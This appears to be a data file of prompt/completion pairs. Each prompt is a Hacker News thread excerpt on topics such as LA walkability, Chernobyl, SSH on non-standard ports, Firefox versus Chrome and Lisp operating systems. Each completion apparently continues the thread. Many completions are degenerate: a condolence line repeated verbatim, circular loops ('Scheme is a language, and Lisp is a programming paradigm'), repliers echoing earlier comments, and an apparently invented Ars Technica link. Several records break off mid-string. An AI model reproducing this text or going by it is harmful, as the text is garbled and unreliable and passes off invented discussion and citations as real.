the reservoir was a popular place to walk\naround and I had read that it was a popular place to walk around because it's\na gathering point for people in the area.\n\nI'm curious if anyone else has had this experience.\n\n~~~\njlgreco\nI have. I live in Silver Lake, and I have walked to the reservoir a few times\nin the past.", "input_text": "/ncurrent/full/ngeo2400.html)\n\n~~~\n6t6t6\nThe streets of most cities in South Europe are covered by deciduous trees.\nIMHO, it is the best way to make the cities walkable in summer while not\npreventing the sun to warm the streets in winter. Also, cities with trees on\nthe streets are beautiful.\n\nOf course, that mean that the council has to spend money taking care of that\ntrees.\n\n------\nsologoub\nMuch of the rail expansion is rather disappointing. For example in expo phase\n2, closer you get to ocean the better spaced the stations are (closer\ntogether), but between Bundy and sepulveda, there are no stations and little\nsane way to go in between, yet Bundy station is less than a mile away from\n26th st station.\n\nTo add insult to injury, I recently followed the much touted bike path that is\nsupposed to connect to existing SM bike paths at 17th street, but the damned\nthing ends at Cloverfield with no way that I can tell of safely getting to\n17th street or anywhere near a designated bike lane. And no, I do not consider\nit safe to try and ride on Olympic blvd without a protected lane...\n\n------\nbpyne\nA question for the LA natives on here.\n\nLast year at this time, I had the chance to visit LA for my first time. I\nstayed in a B&B in Los Feliz and spent a few days walking around it and Silver\nLake. My first day I asked the B&B owner about walking to the reservoir\nbecause I read online that it's a gathering point for people in the area. The\nowner told me he had never walked there"} +{"output_text": " x-rays.\n\n~~~\nmikeash\nI don't understand why people keep taking the risk. I don't take dental x-rays\neither.\n\n~~~\ndasbsd\ni don't understand why people keep taking the risk. i don't take dental x-rays\neither.\n\n------\nmikeash\nI'm not sure I understand the point of this. It's a pretty boring place.\n\n~~~\nmikeash\nI'm not", "input_text": "_rad\nI've been to Chernobyl in 2013 and while I've read a lot about the disaster in\nadvance, I couldn't grasp the whole dimension. Shot some pictures with an old\nmamiya 645\n[https://photos.google.com/album/AF1QipNThxVDtsEv9O_FuPty6Opr...](https://photos.google.com/album/AF1QipNThxVDtsEv9O_FuPty6OprdWXYqF_BaULq55aK)\n\n~~~\nBuildTheRobots\n404 error :(\n\n------\nYadi\nI learned all about Chernobyl from the video game Call Of Duty: Modern\nWarefare. It's tragic and sad!\n\nThere are some villages in North Iraq where it's similar to this, due to the\nchemical bombing. It's gives tou shivers just knowing that a town use to be a\nnormal day to day living place and now just a ghost town.\n\n\"50,000 people used to live here, now its a ghost town\" -MW2\n\n------\navodonosov\nAren't you afraid of Strontium when visit the zone?\n\nBecause it has chemical properties of calcium, so can participate in your\nmetabolism and remain in your body (bones), constantly irradiating you.\n\n------\nalena1108\nWitnessing Chernobyl effect on my homeland Belarus, I can never understand\npeople fascination with this place. But bringing awereness is a good thing\n\n------\ndasbsd\ni really don't understand why people keep taking the risk. only one damaged\ngnome in one single cel will be enough to give you cancer in 10 years. I\npersonally dont't even take dental"} +{"output_text": " the option to use a non-standard port.\n\n~~~\njlgaddis\n> _Internet routers don 't typically do any QoS (except to reduce the\n> priority - bittorrent/etc), let alone prioritize 22._\n\nI'm not sure I understand what you're saying here.\n\n> _And within your own network, you have the option to use a non-standard\n> port._\n\nI'm not sure I understand", "input_text": " if you can argue 'no protection' while at the same time\nadmitting that the number of attacks was greatly reduced for a while: I always\nhated that advice with a passion.\n\nNo, do not run SSH on a non-default port. It's nothing but an obscurity hack,\ndoes little good and breaks a lot of workflows (routers that prioritize port\n22 as interactive traffic, firewalls that explicitly allow ssh - on port 22 of\ncourse, tools that are awkward to use as soon as you need to use a different\nport than the _standard_ one).\n\nI admit that I mocked people recommending that practice in the past. That's\nchildish of course, but if the data of this submission is correct I can now\nadd a more serious 'Please do not do that' argument to my list.\n\n~~~\nguiambros\nThere's a strong reason for advocates (like myself) for running ssh on non-\nstandard ports: it reduces 99% of automated attacks and bots.\n\nYes, you could use fail2ban and ban half the internet, but that just clogs\nyour filtering rules and makes your system waste memory and cycles. Case in\npoint: one of my servers with ssh on port 22 had +9,000 denied IPs over less\nthan one year. On a non-std port, ~100.\n\nThere's almost no drawback to using a non-standard port. Everything that uses\nssh allow port customization (and I wouldn't trust something that doesn't).\n\n _> routers that prioritize port 22 as interactive traffic_\n\nInternet routers don't typically do any QoS (except to _reduce_ the priority -\nbittorrent/etc), let alone prioritize 22. And within your own network, you\nhave"} +{"output_text": ". I'm not a fan of the\ncompany, but I'm not going to say that it's a bad idea to use their software.\n\n~~~\nmatt4077\nI'm not sure what you mean by \"invasions on patch tuesday\".\n\n~~~\nsandworm101\nI mean that Microsoft is a company that has a history of releasing patches\nthat break things.\n\n~~~\nmatt4077\nI'm not sure what you mean by \"", "input_text": " got at least one on every boat rather than make everyone\nlearn. We've got plenty of ways to defeat jamming, the newest block of GPS\nsatellites have ways to increase signal power in certain areas and anti-\nradiation missiles can blow up a jammer. GPS only comes from space so it's\npretty easy to find someone on the ground messing with it. We also have things\nlike star trackers that are used on satellites to determine position without\nGPS that could easily be implemented on a boat if not already on there. These\nsystems could be hardened against EMPs and only brought out in case of\nabsolute emergency. I don't see the need of every navigator having their own\nsextant.\n\n~~~\ngoatinaboat\n_How many people on the boat do you need that know celestial navigation?_\n\nEasy. The same number that know how to use a GPS. Your one guy may be the\nfirst casualty.\n\n _We've got plenty of ways to defeat jamming, the newest block of GPS\nsatellites have ways to increase signal power in certain areas and anti-\nradiation missiles can blow up a jammer._\n\nWhat do you do when your enemy dumps a load of sand in orbit?\n\n~~~\nls612\nGPS isn\u2019t in low earth orbit it\u2019s in a very high orbit so it shouldn\u2019t be\nvulnerable to either asat missiles or space junk clogging up its orbit\n\n------\nsandworm101\n>> IVAS is a Microsoft-designed heads-up display that functions as a fight-\nrehearse-train system, among other roles.\n\nSo... no invasions on patch tuesday? In all seriousness, I'm in the military\nmyself and therefore have to use microsoft software"} +{"output_text": " a good article on the subject:\n[http://arstechnica.com/science/news/2009/03/radiation-\nprotection...](http://arstechnica.com/science/news/2009/03/radiation-protection-\nsuits-are-a-waste-of-money.ars)\n\n~~~\nTichy\nI don't think the inverse square law is relevant here. I am not sure if it is\ntrue,", "input_text": " of people.\n\nBut those kinds of projects will get starved for funding. So we'll end up with\na lot of panicked people in California who shoot down new nuke plants in favor\nof coal/natural gas (the coal miners who die are in China, so there are no\npolitical consequences) and underestimate things like seawalls. California is\nsaid to be overdue for a big quake, but I hope they're wrong about that.\n\n~~~\nTichy\nNonsense, Japan already has invested a lot in Tsunami protection, they will\nnot starve funding for that. Who says it is an \"either invest in anti-Tsunami\nor anti-nuclear-power measures\" kind of thing? And no, I don't live in a\ncoastal area, so enhancing seawalls is not my interest or priority.\n\nAs for protection suit: contamination, why should it matter if it is only as\nbad as eating a banana? Your banana argument really makes no sense.\n\nI have little hopes for nuclear power to go away, nor fossile fuel plants. I\nthink it would be possible, but lifestyles would have to change too much (for\nthe better in my opinion, but many people would disagree). We certainly could\nsave a lot of power, so it would not have to be necessary to replace nuclear\npower plants with fossile fuel plants.\n\n~~~\nNatsu\n> As for protection suit: contamination, why should it matter if it is only as\n> bad as eating a banana? Your banana argument really makes no sense.\n\nHow radiation affects one's body is a complex issue. The inverse square law\nalso comes into effect. So something can be dangerous close up, but no threat\nto anyone who doesn't get close.\n\nArs Technica has"} +{"output_text": "~~~\nmike-cardwell\nI'm not going to bother replying to the downvotes. I'm not going to bother\nreplying to the comments either.\n\nI'm just going to leave this here.\n\n\n\n~~~\nsabat\nI'm not going to bother replying to the downvotes either. I'm just going to\nleave this here", "input_text": " should be customers but aren't--find out why. If you\nchase the existing players you end up with a large feature set and the need\nfor a large development effort that looks more superset than distinct. Think\nabout features you can delete from existing solutions and still appeal to a\nsegment of users. Think about one or two missing features you can add after\nyou have deleted many of the existing ones. A really good book on this is\n\"Four Steps to the Epiphany\" by Steve Blank, cheapest place to buy it is here\n\n\n~~~\nfelipe\n\"Four Steps to the Epiphany\" is a must-read. Also, get \"Bootstrapping\" from\nGreg Gianforte.\n\n------\nrokhayakebe\nlaunch.\n\n~~~\nRaphael\napt.\n\n------\nsabat\nWhy be concerned about raising red flags? I don't think I would be. As PG has\nreminded us, the idea is far less important than its implementation.\n\n \nTutanota: GPLv3-licensed, end-to-end encrypted email - jokoha\nhttps://tutanota.de\n======\nmike-cardwell\nLoads external images. By Default. With no option to turn off.\n\nNot a viable webmail client for anyone who expects privacy.\n\n[edit] The email that it sends to external addresses does not have a\ntext/plain part, only html\n\n[edit] Stores your email address in session storage and then pre-fills next\ntime you log in. Does not let you opt in or out and doesn't warn you that this\nwill happen. Unsuitable for a \"public\" machine.\n\n"} +{"output_text": ", and I think it's\npretty cool.\n\n~~~\npnathan\nI think Scheme is a good choice.\n\nI think the problem is that Scheme is a Lisp, and Lisp is a language.\n\nI think that the problem is that Scheme is a language, and Lisp is a\nprogramming paradigm.\n\nI think that the problem is that Scheme is a language, and Lisp is a\nprogramming paradigm.\n\nI think that the problem is", "input_text": "\nNortheastern University's and University of Utah's faculty, to \"seek to\ndevelop bug-free, secure technology using brand-new programming languages that\nenable programmers to write large, complex software.\"[1]\n\nAround campus, it's been described as an opportunity for Shivers et al. to\nwrite a Operating System built completely with functional languages, from the\nlow-level drivers up to user space tools and new programming languages.\n\nMy personal thoughts is that it'd be awfully cool to have something like\n\"Emacs as a real OS.\" Perhaps it is lack of knowledge and self-confidence or\nthe limited nature of Emacs, but I find it way easier to change the way Emacs\nworks than to change the way the Linux kernel, GNOME, GNU tools, etc. work.\n\n[1] Page 12 of \n\n~~~\npnathan\nI think it would be interesting to chop a *macs into an operating system. I\nwould approach it in an iterative fashion with these initial goals:\n\n\\- Replace elisp with Common Lisp\n\n\\- Build os-level threading support\n\n\\- Build a hardware abstraction layer / target a 'bare' machine.\n\nThat gets someone a 'ways' towards a traditional Lisp OS.\n\nI think one of the big questions that arises in for a modern Lisp system is\nthe design of of multiple processes and multiple users.\n\n~~~\ndanking00\nPersonally, I'd rather toss Lisp entirely and go with Scheme, but something\ndefinitely needs to be done about elisp. There's a small group of undergrads\nhere at NU hacking on Edwin, a Scheme based Emacs clone"} +{"output_text": "joshu\nI'm sad to hear this. I met Jim at RubyConf India last year. He was a great\nguy.\n\n------\njoshu\nI'm sad to hear this. I met Jim at RubyConf India last year. He was a great\nguy.\n\n------\njoshu\nI'm sad to hear this. I met Jim at RubyConf India last year. He was a great\nguy.\n\n------\njoshu\n", "input_text": ", who was _really_ smart.\n\n------\ndraegtun\nMy first opensource creation was a port of Jim's wonderful Builder gem. Many\nthanks Jim for the inspiration you'll be sorely missed.\n\n------\nkidmenot\nThis is sad. I'm not much of a Rubyist, but I leant on Rake quite a bit to\nautomate builds and whatnot.\n\n------\ntheceprogrammer\nJim, rest in peace brother! you will be cherished forever along with all the\ngreats. You have joined the ranks of the fallen heros of both our craft and\notherwise. A life well lived, full of joy, full of love.... we will miss you.\n\n------\ngirishso\nI can never forget the discussion I had with Jim during Rubyconf India last\nyear. He was so devoted to coding\u2026 I envied him. Very friendly and energetic.\nVery sad to hear the news.\n\n------\ncharlieflowers\nJim Weirich was a legend, and deservedly so. Rake was (and is) a masterpiece.\nI'm sad to see Jim go and I want to pay respect to his contributions and his\nlife.\n\n------\ndiminish\nSad day, just read his last tweet few hours ago.....\n\n------\nseanhandley\nI'm devestated to hear this. I met Jim at Scot Ruby 2012. A sweet, bright,\nkind and funny man. RIP.\n\n------\nshahinh\nJim was a great man and an awesome contributor to the Ruby community. He will\nbe missed indeed. RIP.\n\n------\njackson1990\nJim was a great guy and an awesome contributor to the Ruby community. He will\nbe missed indeed. RIP.\n\n------\n"} +{"output_text": " of the US government.\n\n~~~\nmschuster91\n> I agree with you that all the privacy invading things here are a big\n> problem, but why do you blame banks for AML/KYC?\n\nBecause the banks are the ones who are supposed to be the ones to prevent\nmoney laundering.\n\n> I mean, there's plenty of other things to blame banks for, but the ID, photo,\n> etc. requirements are due solely to the policies", "input_text": " another person in less than 10 minutes which I know from\nexperience is pipe dream.\n\n------\ndeltaqueue\nI had a similarly poor experience[1]. Many people are retorting that you have\nto go through this process with all financial institutions. To those, I say\nyou're missing the point. We still have to answer a lot of questions regarding\nregulation around cryptocurrencies, but part of the allure is that you\nshouldn't have to jump through a bunch of hoops to use bitcoin. Furthermore,\nthe first (and only) time I dropped by the bitcoin markup was astronomical.\n\nIt's naive to think we'll resolve this overnight, but until then there's no\npoint to using a robocoin ATM.\n\n[1] [http://www.jauntworthy.com/blog/2014/2/21/first-\nimpression-o...](http://www.jauntworthy.com/blog/2014/2/21/first-impression-\nof-robocoins-bitcoin-atm)\n\n------\nmschuster91\nThe main problem is the PII like palm prints, driver ID etc. and no ATM\noperator right in his mind can leave that step out if the ATM handles dollars\nin any amount.\n\nFuck banks, fuck their anti-money-laundering regulations and fuck the\npoliticians for the \"war on drugs\" which actually led to the creation of said\nanti-money-laundering rules.\n\n~~~\njnbiche\nI agree with you that all the privacy invading things here are a big problem,\nbut why do you blame banks for AML/KYC? I mean, there's plenty of other things\nto blame banks for, but the ID, photo, etc. requirements are due solely to the\npolicies"} +{"output_text": " guy who was caught with a joint in his pocket.\n\n~~~\nXeoncross\nI'm not sure if you are being sarcastic or not, but I am not sure how that\nmakes the situation better.\n\n~~~\nshams93\nI'm not being sarcastic. I'm just saying that the number of people going to\njail for non-violent crimes is increasing.\n\n------\njoshuaheard\nI'm not sure how this is a \"", "input_text": " be unemployed at time of re-arrest.\nContrariwise, there's very little chance of someone who has found employment\nbeing re-arrested. Employment is truly the silver bullet that short circuits\nthis pernicious cycle of recidivism.\n\nRecent studies have shown that those with records often emerge as an\nemployer's best hires. Unlike others, people with records have no sense of\nentitlement and truly appreciate the opportunity they've been afforded.\nTypically, they reward employers with great loyalty, which translates to much\ngreater retention (the true bane of HR professionals).\n\nWhile attitudes are changing for the better (I, as a formerly incarcerated\nperson, have noticed this in my own life), there still exists a great negative\nbias towards those with records, the NY Times notwithstanding. Racism figures\nmightily in this equation. But we're a country that elected a racist\nPresident, whose Atty General is eager to reinstate ineffective drug laws\n(including marijuana) that destroyed lives, families and communities in the\n80's 90's and even today.\n\nAnyone with a record can attest to the stigma that doesn't leave after doing\none's time. In fact, for most, it's a life sentence, a sentence that even low\nunemployment can't expunge.\n\n~~~\nXeoncross\nIf I remember correctly, while the U.S. makes up only 5% of the world's\npopulation, we incarcerate 25% of the worlds prison population. I am thankful\nfor work like yours that is helping to rehabilitate people in the most danger.\n\n~~~\nshams93\nMore people are getting arrested and going to jail for more trivial things\nthan ever before. Last time I did jury duty it was not a stabbing or drug\naddict it was a"} +{"output_text": " who have been\nwrongly convicted.\n\n~~~\nAcerbicZero\nI'm not saying that the system is perfect, I'm saying that it's not worse than\nthe system I'm currently subjected to.\n\n~~~\nstcredzero\n_I 'm saying that it's not worse than the system I'm currently subjected to._\n\nI'm saying that it's not worse than the system you're currently subjected to.\n\n------\nmatt_wul", "input_text": " some modern concepts for\nsociety, ex:\n[https://en.wikipedia.org/wiki/International_child_abduction_...](https://en.wikipedia.org/wiki/International_child_abduction_in_Japan)\n\n~~~\nzAy0LfpBZLC8mAC\n> Japan is a really weird country, on one hand it's the safest country\n\nHow do you know it is safe if you can easily be wrongly convicted, but no\nstatistic about the country shows that?\n\n~~~\nhamilyon2\nCriminals think seven, no, seventy times before doing anything that could\npossibly upset japan national on Japanese soil.\n\nThis is how it is that safe.\n\n~~~\nstcredzero\n_Criminals think seven, no, seventy times before doing anything that could\npossibly upset japan national on Japanese soil._\n\n _This is how it is that safe._\n\nOr, the criminals are organized and have connections and unspoken agreements\nwith the authorities, existing in a kind of truce.\n\n(EDIT: In essence, the seven to seventy times thinking over has been enshrined\nand institutionalized.)\n\n------\nAcerbicZero\nI'm not going to tell the Japanese how to run their society, primarily because\nI'm not Japanese, they're a sovereign nation, and there is no evidence that\nthe system I'm currently subjected to is any better or worse.\n\nIf the Japanese people want to change this, and want external support to\nchange this, that is an entirely different discussion from what was in this\narticle.\n\n~~~\nstcredzero\n_there is no evidence that the system I'm currently subjected to is any\nbetter or worse_\n\nThere's plenty of evidence in the form of the many people"} +{"output_text": " I\ndon't know what it was.\n\n~~~\njoshuak\nIt's a query string that is appended to the end of the URL. It's used to\ncontrol the behavior of the API.\n\n~~~\ncosmicexplorer\nThanks. I was able to find the answer by searching for \"bare\" in the\ndocumentation.\n\n------\njoshuak\nThis is really cool. I'm going to try to use it to build", "input_text": "Kiro\nThis is awesome!\n\nI currently have a small pet project where I think some simple ML would be\ncool but I don't know where to start so these things are great.\n\nBasically my use case is that I have a bunch of 64x64 images (16 colors) which\nI manually label as \"good\", \"neutral\" or \"bad\". I want to input this dataset\nand train the network to categorize new 64x64 images of the same type.\n\nThe closest I've found is this: [https://gist.github.com/sono-\nbfio/89a91da65a12175fb1169240cd...](https://gist.github.com/sono-\nbfio/89a91da65a12175fb1169240cde3a87b)\n\nBut it's still too hard to understand exactly how I can create my own dataset\nand how to set it up efficiently (the example is using 32x32 but I also want\nto factor in that it's only 16 colors; will that give it some performance\nadvantages?).\n\n~~~\nnl\n[https://blog.keras.io/building-powerful-image-\nclassification...](https://blog.keras.io/building-powerful-image-\nclassification-models-using-very-little-data.html) is what you want.\n\n------\ncosmicexplorer\nWhat is the meaning of the \"?bare\" query string in the url? I googled around\nfor the meaning of query strings on the github site but only found rnandom\nrepos on github (not sure how to narrow the search). The first time I tried\nremoving it I saw another folder named \"to_do\", but this is gone now so"} +{"output_text": "designed to last forever.\n\n~~~\njules\nI don't think that's true. I think that the quality stuff that was designed to\nlast forever will be replaced by cheaper stuff that lasts longer.\n\n~~~\n0x12\nI think you're right. I think the quality stuff will be replaced by cheaper\nstuff that lasts longer.\n\n------\njules\nI think the author is wrong about the future of the PC. I think the PC will\nbec", "input_text": ", a global economic\ndepression would result in people keeping their possessions longer simply\nbecause they don't have the money to buy new.\n\nLook at the many other products in our lives that people regularly replace\nbefore their usefulness has expired. Cars are probably the best example. When\nthe economy is booming, people replace their cars rapidly. As it slows down,\nthey hold on to them longer. I can't find any long term data, but the graph\nand caption on this page imply that the two are correlated: \"The Changing U.S.\nAuto Industry Series: Consumer Sentiment During Challenging Times.\"\n\n[http://www1.eere.energy.gov/vehiclesandfuels/facts/2010_fotw...](http://www1.eere.energy.gov/vehiclesandfuels/facts/2010_fotw622.html)\n\nI don't see any reason computers will be different. \"Hackers\" will remain a\nniche community, but I still think the many other reasons cited by the author\nwill result in better tools for us to play with. For example, development of\nreasonably priced and performant FPGAs would be huge. Look at the Arduino line\nof products.\n\nThe future is still a bright one. I just don't see \"heirloom laptops\" in our\nfuture.\n\n~~~\n0x12\n> For example, a global economic depression would result in people keeping\n> their possessions longer simply because they don't have the money to buy\n> new.\n\nThat would seriously suck then because the stuff that we've got today for the\nmost part was built with a very definite life-cycle in mind. So when you are\ndumped in that global recession you need the quality stuff that wasn't\n"} +{"output_text": " to execution, and a lot of time\ndiscussing the legal issues of executing someone who is not a US citizen.\n\nI'm not sure that I agree with the conclusion that the US is in a state of\narmed conflict with Al Quaida.\n\n~~~\njlgreco\nI think the point of the memo is that the US is in a state of armed conflict\nwith Al Quaida.\n\n~~~\nghshephard\nI think the point", "input_text": " for senior al-Qaida members, it\nwould hold for senior al-Shabaab members, senior Zetas in Mexico, senior\nCapone members, senior Bloods and Crips, senior LulzSec and Anon, etc.\n\nThen you apply the logic which hinges on it being a foreign country and\nparallel that to a condition in our own country and it gets ugly. After\nreading this whole memo, I actually see very little about geography or why\nthis wouldn't be legal in the US. The bottom of page 4 and top of 5 seem to\nactually justify executions within our borders.\n\n~~~\nghshephard\nThe difference is spelled out very clearly in the document. The United States\nis in a state of congressionally approved armed conflict with Al Quaida. Where\nthey not in a state of armed conflict, then there would be no legal basis.\n\nThe consequences of going to war, is that the executive (President, acting as\nCommand in Chief of the armed forces) is authorized to kill the enemy without\njudicial review.\n\n------\nghshephard\nSometimes you have to kill people. One hopes that, as a nation of laws, the\nUnited States does so within reasonable constraints and at the appropriate\ntime, and for the appropriate reasons.\n\nSee: [http://www.nytimes.com/2013/02/05/us/boy-is-safe-after-\nalaba...](http://www.nytimes.com/2013/02/05/us/boy-is-safe-after-alabama-\nhostage-standoff.html?hp) for a tragic example today.\n\nI've skimmed through the entire document - it spends a lot of time talking\nabout things that must be tried prior"} +{"output_text": " taken, but not a GPA.

I am not sure what to do, I am not sure if I should include transcripts or not, and I am not sure if I should include my GPA or not. I am not sure if I should include a list of relevant courses taken or not. I am not sure if I should include a list of relevant courses taken or not. I am not sure if I should include a list of relevant courses taken or not. I am not sure", "input_text": "botexpert\nIt's not old. Has most needed background necessary. DL NLP is not necessary\nfor most common tasks.\n\n------\nzump\nI also need help; can someone point me to the latest results with NLP?\n\nI want to build an AI powered note-taker.\n\n------\njm547ster\n[https://www.amazon.co.uk/Introducing-Neuro-Linguistic-\nProgra...](https://www.amazon.co.uk/Introducing-Neuro-Linguistic-Programming-\nJoseph-OConnor/dp/1855383446)\n\n \nAsk HN: Should I include my GPA and/or transcripts when applying for jobs? - CoryG89\nI am set to graduate with my BS in Software Engineering from Auburn University in December. I am currently trying to get my resume in order and start sending out tons of applications for jobs in the next month or so. I have been programming and doing web development in some form since I got my first computer when I was seven or eight years old, I am having trouble trying to decide what all should go on my formal resume. Many people online state to only have one page, or one main page with everything important on it.

Many people at school are recommending to include complete transcripts with grades (mine are pretty good, I have an overall GPA of 3.4. I generally have A marks in hard major classes such as Algorithms, Networks, Assembly, and Operating Systems.

Do you guys think its a good idea to include full transcripts with applications if I have no paid professional experience to speak of? If I do include transcripts should I have my GPA listed on my resume? Many sample resumes I see do not include a GPA. Others include a full list of relevant courses"} +{"output_text": "\n\n~~~\nNomentatus\nI'm not sure I agree with your \"barely works\" thesis. I think it's a\nmisunderstanding of the nature of software development. I think it's a\nmisunderstanding of the nature of software development that leads to the\n\"barely works\" thesis.\n\nI think it's a misunderstanding of the nature of software development that\nleads to the \"barely works\" thesis.\n\nI think it's a", "input_text": "t wait two weeks_ for a new\nfeature, and had to have it _right now_. I have seen businesses die because a\ndevelopment team was so paralyzed by constant interruptions that they were\ndysfunctional and couldn't get any real work done.\n\n~~~\nNomentatus\nIf it's a better data structure, then two weeks might set the course, alas.\nIt's happened to me. Fact is, one can't get away from judgement calls, slogans\nmight nudge in one direction or another, but it all remains a judgement call\nwhat's just a raisin and what isn't. The fatal problem is bosses up the chain\nwho want to demonstrate they matter and are worth their expense by throwing in\nsuperfluous raisins; having a crude slogan (misleading or not) to deter them\nis fine by me.\n\n~~~\nbeat\nA \"better data structure\" is almost never an emergency. And being unable to\nadapt or extend a data structure in the future is not agile, and it's not the\nsimplest thing that can possibly work.\n\nBack when I first started building a startup, I thought \"Thank Dog I no longer\nhave to deal with stupid compromised software, and can start writing\neverything right!\" By the time I was getting anywhere, I was well into toss-\nover-wall methodology. I did things that I knew full well were compromised and\nwould hurt me later, because the work needed done, and needed to \"be done\". It\nwas a real education.\n\nI actually have a lightning talk in mind on this subject, called \"Why software\nsucks\", that argues that suckage is the nature of software development, and\nthat \"barely works\" is the best we can realistically ask for - or even should\nask for."} +{"output_text": " time with us and made sure we were comfortable. They were also very\nrespectful of our wishes.\n\n------\njoshu\nI've been in a lot of hospitals.\n\nI've been in a lot of hospitals that are not good.\n\nI've been in a lot of hospitals that are good.\n\nI've been in a lot of hospitals that are bad.\n\nI've been in a lot of hospitals that are good.\n\nI've been", "input_text": "0]\n[http://www.audiocura.com/portfolio/sou/](http://www.audiocura.com/portfolio/sou/)\n\n------\nprojectramo\nMy experience (caring for someone in a private room):\n\nNurse head: \"Any complaints?\"\n\nMe: \"We kept getting disturbed.\"\n\nNurse head: \"yeah, we hear that a lot.\"\n\nRepeated 3x over the course of 3 days!!!\n\n------\nsifoobar\nI once spent two weeks in hospital with a smashed vertebra waiting for\noperation. I'm sure many of the individuals involved are trying their best,\nbut it definitely feels more like a place for dying than a place for healing.\n\n------\nlojack\nDuring my daughters first year of life we had multiple hospital stays at\nmultiple hospitals for surgeries. What we found was that your experience can\nvary a lot depending on the hospital.\n\nOur worst experience was at a hospital that was #1 in the nation for its\nspecialty. The staffing leaned heavily on STNAs, and they had a lot of\npatients to look after. Their nurses were similarly rushed. Once in the step\ndown unit we were placed in a pod with three other families. Of course not all\nof them were respectful of recovery, with one of them staying up late into the\nnight having boisterous conversations. We ended up advocating for leaving the\nhospital sooner than they were originally planning. We also found ways to get\nthem to line up vitals and medicine a little better. All of this took\nsignificant advocating and considerable effort.\n\nOur best experience was a complete flip. This was at a top 5 hospital in the\nnation for pediatric care. Nursing staff seemed top of their class. They took\ntheir"} +{"output_text": " like the \"biosphere\" of the ISS.\n\n~~~\ntom_rath\nI'm not sure what you mean by \"questionable people\".\n\nThe ISS is a closed biosphere. It's not a \"biosphere\" in the sense that it\ncontains a large number of organisms. It's a closed system, and the organisms\nare there to maintain the system.\n\nThe ISS is not a \"fully enclosed biosphere\". It's a closed system, but", "input_text": " the\nsolar system like that, fusion power may very well seem like an interesting\nantique.\n\n~~~\nstcredzero\nTech gets obsolete a lot faster than physics. The energy of fusion is physics,\nnot tech.\n\n------\nTweedHeads\nColonise Mars?\n\nComing from a man who's been in space, that is a stupid claim to do without\nfirst colonizing the moon and learning in the process.\n\nWalk, run, fly.\n\n~~~\ngaius\nNonsense! Go and read some Robert Zubrin.\n\n~~~\ntom_rath\n...then question some of the'miracle technologies' used in Zubrin's\ninfrastructure.\n\nYes, if we had Single Stage to Orbit fully reusable rockets and if all issues\ninvolved in living on another world were understood, Zubrin's plan(s) would be\na shoo-in. However, we can't even construct a reliable artificial biosphere\nfully enclosed here on Earth!\n\nLearn to walk before you try to run. Let's work on sustained outposts on a\nworld no more than three days' travel away first.\n\n~~~\nstcredzero\n_Yes, if we had Single Stage to Orbit fully reusable rockets_\n\nCertainly not essential to Zubrin's plan. There are modifications to Zubrin's\nplan that can be implemented with existing boosters, with on-orbit assembly\nlimited to linking together 4 components. Seems doable to me.\n\n _However, we can't even construct a reliable artificial biosphere fully\nenclosed here on Earth!_\n\nWhere do you get that from? For one thing, the most publicized efforts were\ntried by questionable people. I think a legitimate effort would account for\nthings"} +{"output_text": "\njosteink\nI'm not sure if this is a good thing or not.\n\nI've been using Firefox for years, and I've never had any problems with it.\n\nI've been using Chrome for a few months now, and I've had a few problems with\nit.\n\nI'm not sure if it's a good thing that Firefox is getting better, or a bad\nthing that Chrome is getting worse.\n\n~~~\nsjwright\nI", "input_text": " up and started using Chrome,\nwhich BTW, runs like a banshee even with ABP installed.\n\n~~~\nsjwright\nTo add another data point, I'm using Firefox on the Mac with a half dozen\nplug-ins and I have never experienced pauses remotely like what you describe.\n\nFurthermore, Firefox has been consistently smoother than my near-virgin\ninstall of Chrome. It's weird -- while Chrome definitely finishes loading\npages a bit faster, it performs incomplete page repaints in the process,\ncausing unpleasant whole-of-screen flashes as I jump from page to page. With\nFirefox, moving from page to page is butter smooth.\n\n------\nguylhem\nUnless you want bloatware that sucks RAM and battery, what else are you\nsupposed to use?\n\nI went from Firefox to Safari to Chrome and back to Firefox. Firefox was\nbloatware before. Now it's acceptable when compared to Chrome and Safari.\n\nEither Firefox was improved, or wasn't improved while hardware was, and while\nSafari and Chrome added useless feature after useless feature.\n\nIn any case, I do not see any alternative to Firefox for 'power users'. I'm\nvery happy to use it. The report that Firefox marketshare is shrinking is\nweird. I've seen more and more people using it recently.\n\nMaybe I'm just odd but I love firefox on MacOS, Linux and android because it\njust works at a decent speed.\n\n~~~\nsjwright\nI had moved to Chrome, then switched back because I just couldn't stand it any\nmore. Sure, at its best, Chrome is a bit faster than Firefox. At their worst,\nChrome bogs down more heavily and more often than Firefox ever has for me.\n\n------"} +{"output_text": " of SBCL takes about 3\nseconds?\n\n~~~\nj_baker\nI'm guessing that the loop is compiled to something like this:\n\n \n \n (loop :for x :from 1 :to 1000000000 :do (incf sum x))\n \n\nwhich is a lot more efficient than the equivalent:\n\n \n \n (loop :for x :from 1 :to 1000000000 :do (incf sum x))\n \n", "input_text": "C#: Enumerable.Range(1, 1000000000).Select(Convert.ToInt64).Sum()\n\n------\nchristopheraden\nI asked a similar question for R about a year ago, and saw an interesting way\nto do it, taking advantage of the math.\n[http://stackoverflow.com/questions/11623865/faster-modulo-\nor...](http://stackoverflow.com/questions/11623865/faster-modulo-or-equality-\nchecking-in-r-or-good-ways-to-vectorize)\n\n~~~\nminimaxir\nFun fact: in R, _sum(1:1E07)_ will throw a warning; you have to use\n_sum(as.numeric(1:1E07))_ instead, which will indeed give the correct answer.\n\n------\nChuckMcM\nSo nobody does it?\n\n \n \n $sum = int($max/2) * ($max+1));\n $sum += int(($max+1)/2) if ($max & 1);\n \n\nThis is perl of course but it is exploiting the fact that the sum of integers\nis a sum of constants ($max + 1) with an additional term (the'middle'\ninteger) if the top number is odd.\n\n------\ngshubert17\nSBCL: Commenter postfuturist said that this code:\n\n(time (let ((sum 0)) (loop :for x :from 1 :to 1000000000 :do (incf sum x))\nsum))\n\ntook about 3 seconds from his REPL with SBCL, with about 8.5 billion CPU\ncycles and 0 bytes consed.\n\nDoes anyone know why the same code on my version"} +{"output_text": " look at the\ncoronavirus stats in China.\n\n~~~\nrandomsearch\nI think the problem is that the virus is so mild. You can't spot a lot of\ncases, so e.g. someone gets on a plane and is not showing symptoms and a few\ndays later in Italy they get sick or infect others without realising they're\nill.\n\n~~~\nonetimemanytime\nI agree. I think the problem is that the virus is so", "input_text": " pandemic until proven otherwise?\n\n------\nthdrdt\nHe is not the only one.\n\nI believe it was an Ask Me Anything with Bill Gates on Reddit.\n\nSomeone asked Gates about a third world war and he replied he was more sure\nand worried about a pandemic.\n\nI have no doubt others in the field had the same thoughts.\n\nThe most troubling thing is that a lot of leaders dismissed this information.\n\n~~~\ncorpMaverick\nHe warned us. We didn't 